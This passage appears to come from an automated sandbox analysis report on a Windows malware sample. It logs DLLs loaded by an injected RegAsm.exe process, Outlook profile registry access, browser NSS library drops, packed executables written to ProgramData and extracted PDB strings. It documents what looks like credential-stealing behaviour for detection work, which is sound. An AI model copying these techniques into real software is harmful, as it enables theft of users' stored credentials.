Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: mscoree.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: apphelp.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: version.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userBGDBKKFHIE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: mscoree.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: version.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userBAEBGCFIEH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000012.00000002.2664581207.000000006C385000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2238089765.000000003A34D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2230353873.000000002E478000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2484370405.0000000022A4B000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000012.00000002.2664581207.000000006C385000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00418A9A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00418A9A

Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: sql[1].dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F292 push ecx; ret	3_2_0042F2A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CDFE push esi; retn 0042h	3_2_0042CDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422E8A push esi; ret	3_2_00422E8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DF05 push ecx; ret	3_2_0041DF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C12B536 push ecx; ret	3_2_6C12B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229B4BF0 push ecx; ret	14_2_229B4C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22983C51 push es; retf	14_2_22983C57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229FF456 push ebx; ret	14_2_229FF457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229ED561 push esp; retf	14_2_229ED570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_229EDB66 push esp; retf	14_2_229EDB67

Source: file.exe	Static PE information: section name: .text entropy: 7.995700647504536
Source: IDGDAAKFHI.exe.3.dr	Static PE information: section name: .text entropy: 7.995413357235682
Source: 66fa2b049020f_ldnf[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995413357235682
Source: DGHIECGCBK.exe.3.dr	Static PE information: section name: .text entropy: 7.995787945508988
Source: 66fa2afc5abea_vasd[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995787945508988
Source: KECFIDGCBF.exe.3.dr	Static PE information: section name: .text entropy: 7.994247352025327
Source: 66fa2ae906657_snd[1].exe.3.dr	Static PE information: section name: .text entropy: 7.994247352025327

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2b049020f_ldnf[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IDGDAAKFHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DGHIECGCBK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
